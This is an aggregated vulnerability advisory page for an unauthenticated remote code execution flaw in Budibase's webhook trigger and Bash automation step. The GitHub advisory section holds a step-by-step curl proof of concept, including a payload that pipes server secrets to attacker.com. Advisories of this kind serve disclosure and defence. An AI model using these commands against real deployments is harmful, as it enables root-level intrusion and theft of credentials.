Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.

Source published

3 Apr 2026 15:45:40 UTC

Source modified

3 Apr 2026 16:46:23 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.

Source published

Apr 3, 2026, 3:45:40 PM (timezone not stated)

Source modified

Apr 3, 2026, 4:46:23 PM (timezone not stated)

Observed here

11 Nov 2026 09:30:28 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.

Source published

3 Apr 2026 16:16:41 UTC

Source modified

6 Oct 2026 22:10:00 UTC

Observed here

25 Oct 2026 08:17:41 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

### Summary An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container. ### Details **Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:** ```typescript // this shouldn't have authorisation, right now its always public publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger) ``` The webhook trigger endpoint is registered on `publicRoutes` with **no authentication middleware**. Any unauthenticated HTTP client can POST to this endpoint. **Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:** ```typescript const command = processStringSync(inputs.code, context) stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString() ``` The Bash automation step uses Handlebars template processing (`processStringSync`) on `inputs.code`, substituting values from the webhook request body into the shell command string before passing it to `execSync()`. **Attack chain:** ``` HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH ↓ controller.trigger() [webhook.ts:90] ↓ triggers.externalTrigger() ↓ webhook fields flattened into automation context automation.steps[EXECUTE_BASH].run() [actions.ts:131] ↓ processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" }) ↓ execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT ``` **Precondition:** An admin must have created and published an automation containing: 1. A Webhook trigger 2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`) This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks. **Note on EXECUTE_BASH availability:** The bash step is only registered when `SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments: ```typescript // packages/server/src/automations/actions.ts line 126-132 // don't add the bash script/definitions unless in self host if (env.SELF_HOSTED) { ACTION_IMPLS["EXECUTE_BASH"] = bash.run BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition } ``` **Webhook context flattening** (why `{{ trigger.cmd }}` works): In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations the `params.fields` are spread directly into the trigger context: ```typescript // row actions and webhooks flatten the fields down else if (sdk.automations.isWebhookAction(automation)) { params = { ...params, ...params.fields, // { cmd: "PAYLOAD" } becomes top-level fields: {}, } } ``` This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}` in the bash step template. ### PoC #### Environment ``` Target: http://TARGET:10000 (any self-hosted Budibase instance) Tester: Any machine with curl Auth: Admin credentials required for SETUP PHASE only Zero auth required for EXPLOITATION PHASE ``` --- #### PHASE 1 — Admin Setup (performed once by legitimate admin) > **Note:** This phase represents normal Budibase usage. Any admin who creates > a webhook automation with a bash step using template variables creates this exposure. **Step 1 — Authenticate as admin:** ```bash curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{ "username": "[email protected]", "password": "adminpassword" }' # Expected response: # {"message":"Login successful"} ``` **Step 2 — Create an application:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/applications \ -H "Content-Type: application/json" \ -d '{ "name": "MyApp", "useTemplate": false, "url": "/myapp" }' # Note the appId from the response, e.g.: # "appId": "app_dev_c999265f6f984e3aa986788723984cd5" APP_ID="app_dev_c999265f6f984e3aa986788723984cd5" ``` **Step 3 — Create automation with Webhook trigger + Bash step:** ```bash curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d '{ "name": "WebhookBash", "type": "automation", "definition": { "trigger": { "id": "trigger_1", "name": "Webhook", "event": "app:webhook:trigger", "stepId": "WEBHOOK", "type": "TRIGGER", "icon": "paper-plane-right", "description": "Trigger an automation when a HTTP POST webhook is hit", "tagline": "Webhook endpoint is hit", "inputs": {}, "schema": { "inputs": { "properties": {} }, "outputs": { "properties": { "body": { "type": "object" } } } } }, "steps": [ { "id": "bash_step_1", "name": "Bash Scripting", "stepId": "EXECUTE_BASH", "type": "ACTION", "icon": "git-branch", "description": "Run a bash script", "tagline": "Execute a bash command", "inputs": { "code": "{{ trigger.cmd }}" }, "schema": { "inputs": { "properties": { "code": { "type": "string" } } }, "outputs": { "properties": { "stdout": { "type": "string" }, "success": { "type": "boolean" } } } } } ] } }' # Note the automation _id from response, e.g.: # "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... } AUTO_ID="au_b713759f83f64efda067e17b65545fce" ``` **Step 4 — Enable the automation** (new automations start as disabled): ```bash # Fetch full automation JSON AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \ -H "x-budibase-app-id: $APP_ID") # Set disabled: false and PUT it back UPDATED=$(echo "$AUTO" | python3 -c " import sys, json d = json.load(sys.stdin) d['disabled'] = False print(json.dumps(d)) ") curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "$UPDATED" ``` **Step 5 — Create webhook linked to the automation:** ```bash curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \ -H "Content-Type: application/json" \ -H "x-budibase-app-id: $APP_ID" \ -d "{ \"name\": \"MyWebhook\", \"action\": { \"type\": \"automation\", \"target\": \"$AUTO_ID\" } }" # Note the webhook _id from response, e.g.: # "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... } WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" ``` **Step 6 — Publish the app to production:** ```bash curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \ -H "x-budibase-app-id: $APP_ID" # Expected: {"status":"SUCCESS","appUrl":"/myapp"} # Production App ID = strip "dev_" from dev ID: # app_dev_c999265f... → app_c999265f... PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" ``` --- #### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED) The attacker only needs the production `app_id` and `webhook_id`. These can be obtained via: - Enumeration of the Budibase web UI (app URLs are semi-public) - Leaked configuration files or environment variables - Insider knowledge or social engineering **Step 7 — Basic RCE — whoami/id:** ```bash PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5" WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b" TARGET="http://TARGET:10000" # NO cookies. NO API key. NO auth headers. Pure unauthenticated request. curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"id"}' # HTTP Response (immediate): # {"message":"Webhook trigger fired successfully"} # Command executes asynchronously inside container as root. # Output confirmed via container inspection or exfiltration. ``` **Step 8 — Exfiltrate all secrets:** ```bash curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \ -H "Content-Type: application/json" \ -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}' ``` Confirmed secrets leaked (no auth): ``` JWT_SECRET=testsecret API_ENCRYPTION_KEY=testsecret COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984 REDIS_PASSWORD=budibase REDIS_URL=redis-service:6379 MINIO_ACCESS_KEY=budibase MINIO_SECRET_KEY=budibase INTERNAL_API_KEY=budibase LITELLM_MASTER_KEY=budibase ``` ### Impact - **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. - **What can an attacker do:** - Execute arbitrary OS commands as `root` inside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet - Establish reverse shells and persistent access - Read/write/delete all application data via CouchDB access - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user - Potentially escape the container if `--privileged` or volume mounts are used - **Authentication required:** **None** — completely unauthenticated - **User interaction required:** **None** - **Network access required:** Only access to port 10000 (the Budibase proxy port) Discovered By: Abdulrahman Albatel Abdullah Alrasheed

Source published

4 Apr 2026 06:04:58 UTC

Source modified

4 Apr 2026 06:26:32 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL